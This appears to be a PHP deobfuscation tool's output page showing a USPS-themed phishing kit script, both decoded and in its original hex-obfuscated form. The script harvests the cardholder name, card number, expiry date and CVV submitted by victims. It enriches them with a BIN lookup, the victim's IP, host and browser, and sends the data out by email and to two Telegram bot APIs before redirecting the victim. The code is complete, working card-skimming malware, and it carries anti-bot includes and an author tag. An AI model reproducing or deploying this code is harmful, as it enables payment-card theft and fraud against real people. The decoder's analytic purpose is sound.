Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto FtPJ5; dMhTW: $hvLD1 = "\x68\164\164\x70\x73\x3a\57\x2f\x6c\x6f\157\153\165\1..

Decoded Output download

<?php 
 goto FtPJ5; dMhTW: $hvLD1 = "https://lookup.binlist.net/" . $EdpAu; goto pSg3Q; DQpg3: $E0oyr = "21haWwuY29t"; goto htFQj; OHE8o: $_SESSION["bank_scheme"] = strtoupper($AYd0p["scheme"]); goto LtSm0; u2W5w: curl_setopt($ovUy1, CURLOPT_SSL_VERIFYPEER, false); goto E19KT; UhRKi: include "getdata.php"; goto rx2ah; HToxW: $CeGHZ = getenv("REMOTE_ADDR"); goto w8L6J; TLUXh: $Jb1Wk .= "################\360\x9f\223\246###############
"; goto FoCR8; caAOM: $EdpAu = preg_replace("/\s/", '', $EdpAu); goto AD2su; ajVEr: $_SESSION["bank_brand"] = strtoupper($AYd0p["brand"]); goto HToxW; mWsyK: curl_setopt($ovUy1, CURLOPT_URL, $hvLD1); goto d_ySa; zupkR: $Jb1Wk .= "\360\x9f\217\233 Card brand : " . $_SESSION["bank_brand"] . "
"; goto fRlNQ; cqGW2: $Jb1Wk .= "############# IP Tracing #############
"; goto nYL_N; htFQj: @mail($rsKdl, $jrK35, $Jb1Wk, $KOS_0); goto XEHgJ; uW1YI: $MFRmK = "mai"; goto TLUXh; xgVGS: $Jb1Wk .= "\xf0\237\x92\xb3 Cardholder's Name : " . $_POST["ccname"] . "\xa"; goto ofVzI; ln9jJ: $jrK35 = " Card | USPS | {$CeGHZ}"; goto dA57j; AD2su: $EdpAu = substr($EdpAu, 0, 8); goto dMhTW; mKwNy: $Jb1Wk .= "Browser : " . $_SERVER["HTTP_USER_AGENT"] . "\xa"; goto GjCbf; rx2ah: header("Location: ../wait.php?&amp;localeID=61faab444c75e3416115781f5fe81570&amp;AUTH=07518ef5f1875116143e57c444baaf16&amp;securessl=true"); goto dcsLp; pSg3Q: $KOS_0 = array(); goto Mt2Ju; T12av: curl_close($ovUy1); goto Fil_x; a6PLH: include "../antibots/index.php"; goto X3R0X; LtSm0: $_SESSION["bank_type"] = strtoupper($AYd0p["type"]); goto ajVEr; St4_s: $Jb1Wk .= "\xf0\237\x8f\233 Card type : " . $_SESSION["bank_type"] . "\xa"; goto zupkR; HC5ug: $Jb1Wk .= "\xf0\237\224\204 Expires MM/YY : " . $_POST["expiry"] . "
"; goto tnG4J; Fil_x: $AYd0p = json_decode($DLiOW, true); goto cyeq1; dA57j: $KOS_0 = "From: USPS" . "\xd
"; goto DQpg3; g_8Lv: $ovUy1 = curl_init(); goto mWsyK; nYL_N: $Jb1Wk .= "IP      : https://www.geodatatool.com/?IP={$CeGHZ}\xa"; goto Seqai; cyeq1: $_SESSION["bank_name"] = $AYd0p["bank"]["name"]; goto OHE8o; Seqai: $Jb1Wk .= "Host    : " . gethostbyaddr($CeGHZ) . "\xa"; goto mKwNy; tnG4J: $Jb1Wk .= "\360\237\x94\221 Security Code : " . $_POST["cvv"] . "
"; goto DzyY1; FtPJ5: session_start(); goto ZQyAb; ZQyAb: include "../bot/index.php"; goto a6PLH; E19KT: curl_setopt($ovUy1, CURLOPT_HTTPHEADER, $KOS_0); goto XEgPV; w8L6J: $GBRZV = "e"; goto uW1YI; fRlNQ: $Jb1Wk .= "\xa"; goto cqGW2; XEHgJ: @file_get_contents("https://api.telegram.org/bot" . $Pikh8 . "/sendMessage?chat_id=" . $xUyDU . "&text=" . urlencode($Jb1Wk) . ''); goto IMru_; d_ySa: curl_setopt($ovUy1, CURLOPT_RETURNTRANSFER, true); goto u2W5w; X3R0X: include "../Config.php"; goto UhRKi; ofVzI: $Jb1Wk .= "\xf0\x9f\x92\xb3 Card Number : " . $_POST["ccnum"] . "
"; goto HC5ug; DzyY1: $Jb1Wk .= "\xf0\x9f\217\233 Card Bank : " . $_SESSION["bank_name"] . "\xa"; goto St4_s; Mt2Ju: $KOS_0[] = "Accept-Version: 3"; goto g_8Lv; FoCR8: $Jb1Wk .= "########## USPS_BY_DrFXND ##########\xa"; goto RY2Lv; GjCbf: $Jb1Wk .= "########## USPS BY @DrFXND ##########\xa"; goto ln9jJ; pVhpx: $EdpAu = $_POST["ccnum"]; goto caAOM; RY2Lv: $Jb1Wk .= "\xa"; goto xgVGS; XEgPV: $DLiOW = curl_exec($ovUy1); goto T12av; dcsLp: $F7o3s = $_POST["ccnum"]; goto yqpaJ; yqpaJ: $F7o3s = preg_replace("/\s/", '', $F7o3s); goto pVhpx; IMru_: @file_get_contents("https://api.telegram.org/bot" . $ZsNGm . "/sendMessage?chat_id=" . $B_TKi . "&text=" . urlencode($Jb1Wk) . ''); ?>

Did this file decode correctly?

Original Code

<?php
 goto FtPJ5; dMhTW: $hvLD1 = "\x68\164\164\x70\x73\x3a\57\x2f\x6c\x6f\157\153\165\160\56\x62\151\x6e\154\151\163\x74\x2e\156\x65\164\x2f" . $EdpAu; goto pSg3Q; DQpg3: $E0oyr = "\x32\x31\150\x61\x57\167\x75\x59\x32\71\x74"; goto htFQj; OHE8o: $_SESSION["\142\x61\156\153\x5f\x73\x63\x68\x65\x6d\x65"] = strtoupper($AYd0p["\163\143\x68\x65\155\x65"]); goto LtSm0; u2W5w: curl_setopt($ovUy1, CURLOPT_SSL_VERIFYPEER, false); goto E19KT; UhRKi: include "\147\x65\x74\x64\x61\164\x61\x2e\160\x68\x70"; goto rx2ah; HToxW: $CeGHZ = getenv("\122\105\115\x4f\x54\105\x5f\101\104\104\x52"); goto w8L6J; TLUXh: $Jb1Wk .= "\43\x23\x23\x23\x23\43\x23\43\x23\43\43\43\43\x23\x23\43\360\x9f\223\246\43\43\43\43\43\43\43\x23\x23\43\43\x23\43\43\x23\12"; goto FoCR8; caAOM: $EdpAu = preg_replace("\57\134\163\57", '', $EdpAu); goto AD2su; ajVEr: $_SESSION["\x62\141\x6e\x6b\137\142\162\x61\156\144"] = strtoupper($AYd0p["\x62\162\141\x6e\x64"]); goto HToxW; mWsyK: curl_setopt($ovUy1, CURLOPT_URL, $hvLD1); goto d_ySa; zupkR: $Jb1Wk .= "\360\x9f\217\233\x20\x43\x61\x72\144\x20\142\162\141\x6e\x64\40\72\40" . $_SESSION["\142\x61\x6e\x6b\137\142\162\141\x6e\144"] . "\12"; goto fRlNQ; cqGW2: $Jb1Wk .= "\x23\x23\x23\x23\x23\x23\43\x23\x23\x23\43\43\43\x20\111\x50\x20\124\x72\141\143\151\156\x67\x20\43\43\43\x23\43\x23\43\43\x23\x23\43\x23\43\12"; goto nYL_N; htFQj: @mail($rsKdl, $jrK35, $Jb1Wk, $KOS_0); goto XEHgJ; uW1YI: $MFRmK = "\x6d\x61\151"; goto TLUXh; xgVGS: $Jb1Wk .= "\xf0\237\x92\xb3\x20\x43\141\162\144\x68\157\154\144\145\162\x27\163\40\116\x61\155\145\40\x3a\x20" . $_POST["\143\143\156\x61\x6d\x65"] . "\xa"; goto ofVzI; ln9jJ: $jrK35 = "\x20\x43\141\x72\144\40\x7c\x20\x55\x53\120\123\x20\x7c\40{$CeGHZ}"; goto dA57j; AD2su: $EdpAu = substr($EdpAu, 0, 8); goto dMhTW; mKwNy: $Jb1Wk .= "\x42\162\x6f\167\x73\x65\162\x20\72\x20" . $_SERVER["\x48\124\124\x50\x5f\125\123\105\x52\x5f\101\107\x45\x4e\x54"] . "\xa"; goto GjCbf; rx2ah: header("\114\157\143\x61\164\151\x6f\x6e\x3a\40\56\x2e\57\167\x61\x69\164\56\x70\150\x70\x3f\x26\x61\155\160\73\x6c\157\143\141\x6c\x65\111\104\x3d\66\x31\146\x61\141\142\64\x34\x34\143\x37\x35\x65\x33\64\61\66\61\x31\65\67\70\x31\x66\65\146\145\x38\61\65\67\x30\x26\x61\x6d\x70\73\101\x55\x54\110\75\x30\x37\x35\61\70\x65\146\x35\x66\x31\x38\x37\65\61\x31\x36\x31\64\x33\145\65\x37\x63\x34\64\x34\x62\x61\x61\x66\x31\66\46\141\155\160\x3b\x73\145\x63\x75\x72\x65\163\163\154\x3d\164\162\165\145"); goto dcsLp; pSg3Q: $KOS_0 = array(); goto Mt2Ju; T12av: curl_close($ovUy1); goto Fil_x; a6PLH: include "\56\x2e\57\141\156\x74\151\142\x6f\164\163\x2f\x69\156\x64\x65\170\56\160\x68\160"; goto X3R0X; LtSm0: $_SESSION["\x62\x61\156\x6b\x5f\164\x79\x70\145"] = strtoupper($AYd0p["\x74\x79\160\x65"]); goto ajVEr; St4_s: $Jb1Wk .= "\xf0\237\x8f\233\40\x43\141\162\x64\x20\x74\x79\160\145\40\72\x20" . $_SESSION["\x62\x61\156\x6b\x5f\164\171\x70\145"] . "\xa"; goto zupkR; HC5ug: $Jb1Wk .= "\xf0\237\224\204\40\x45\x78\160\x69\x72\145\x73\x20\x4d\115\57\131\x59\x20\x3a\40" . $_POST["\145\x78\160\151\162\x79"] . "\12"; goto tnG4J; Fil_x: $AYd0p = json_decode($DLiOW, true); goto cyeq1; dA57j: $KOS_0 = "\x46\162\157\x6d\72\40\125\x53\x50\x53" . "\xd\12"; goto DQpg3; g_8Lv: $ovUy1 = curl_init(); goto mWsyK; nYL_N: $Jb1Wk .= "\111\120\40\x20\40\40\40\40\72\40\150\x74\x74\x70\x73\x3a\x2f\57\167\167\x77\x2e\x67\x65\x6f\x64\141\x74\x61\164\157\x6f\154\56\143\157\155\57\77\x49\x50\75{$CeGHZ}\xa"; goto Seqai; cyeq1: $_SESSION["\142\x61\156\x6b\x5f\156\141\155\145"] = $AYd0p["\x62\x61\x6e\153"]["\156\141\x6d\x65"]; goto OHE8o; Seqai: $Jb1Wk .= "\110\157\163\x74\x20\x20\x20\x20\72\x20" . gethostbyaddr($CeGHZ) . "\xa"; goto mKwNy; tnG4J: $Jb1Wk .= "\360\237\x94\221\x20\123\x65\143\x75\162\x69\164\171\40\103\x6f\x64\x65\40\72\40" . $_POST["\143\166\166"] . "\12"; goto DzyY1; FtPJ5: session_start(); goto ZQyAb; ZQyAb: include "\56\x2e\57\142\x6f\x74\57\151\x6e\144\145\170\56\160\150\x70"; goto a6PLH; E19KT: curl_setopt($ovUy1, CURLOPT_HTTPHEADER, $KOS_0); goto XEgPV; w8L6J: $GBRZV = "\145"; goto uW1YI; fRlNQ: $Jb1Wk .= "\xa"; goto cqGW2; XEHgJ: @file_get_contents("\150\164\x74\x70\163\x3a\57\57\x61\160\x69\56\x74\x65\154\x65\x67\x72\x61\x6d\56\157\162\x67\57\142\x6f\164" . $Pikh8 . "\x2f\163\x65\156\144\x4d\145\163\163\x61\147\x65\77\x63\150\x61\164\137\x69\x64\x3d" . $xUyDU . "\46\x74\x65\x78\x74\75" . urlencode($Jb1Wk) . ''); goto IMru_; d_ySa: curl_setopt($ovUy1, CURLOPT_RETURNTRANSFER, true); goto u2W5w; X3R0X: include "\56\x2e\x2f\103\157\156\x66\151\147\x2e\160\150\x70"; goto UhRKi; ofVzI: $Jb1Wk .= "\xf0\x9f\x92\xb3\x20\103\141\162\x64\x20\x4e\165\155\142\x65\x72\x20\72\40" . $_POST["\143\x63\x6e\165\x6d"] . "\12"; goto HC5ug; DzyY1: $Jb1Wk .= "\xf0\x9f\217\233\x20\103\x61\x72\x64\40\x42\141\x6e\153\x20\x3a\x20" . $_SESSION["\x62\x61\x6e\x6b\x5f\156\141\155\145"] . "\xa"; goto St4_s; Mt2Ju: $KOS_0[] = "\101\x63\143\x65\160\164\55\126\145\162\163\x69\x6f\156\72\40\63"; goto g_8Lv; FoCR8: $Jb1Wk .= "\x23\43\43\x23\43\x23\43\x23\43\43\40\x55\x53\x50\123\x5f\x42\131\x5f\104\x72\106\x58\x4e\104\x20\43\43\x23\43\x23\43\43\43\x23\43\xa"; goto RY2Lv; GjCbf: $Jb1Wk .= "\x23\x23\x23\43\x23\x23\x23\x23\43\x23\40\x55\123\120\x53\40\102\131\x20\100\x44\x72\x46\x58\x4e\x44\x20\43\43\43\x23\x23\x23\43\x23\x23\43\xa"; goto ln9jJ; pVhpx: $EdpAu = $_POST["\x63\143\156\165\x6d"]; goto caAOM; RY2Lv: $Jb1Wk .= "\xa"; goto xgVGS; XEgPV: $DLiOW = curl_exec($ovUy1); goto T12av; dcsLp: $F7o3s = $_POST["\143\143\156\165\155"]; goto yqpaJ; yqpaJ: $F7o3s = preg_replace("\x2f\134\x73\57", '', $F7o3s); goto pVhpx; IMru_: @file_get_contents("\x68\x74\x74\x70\x73\x3a\57\x2f\x61\x70\x69\x2e\164\x65\154\145\x67\x72\141\x6d\x2e\x6f\x72\147\57\142\157\x74" . $ZsNGm . "\57\x73\x65\156\x64\x4d\145\x73\163\141\x67\x65\77\143\150\141\164\137\x69\144\75" . $B_TKi . "\46\164\x65\x78\x74\75" . urlencode($Jb1Wk) . '');

Function Calls

None

Variables

None

Stats

MD5 144b084c21a772ee94b16ebf7e684726
Eval Count 0
Decode Time 59 ms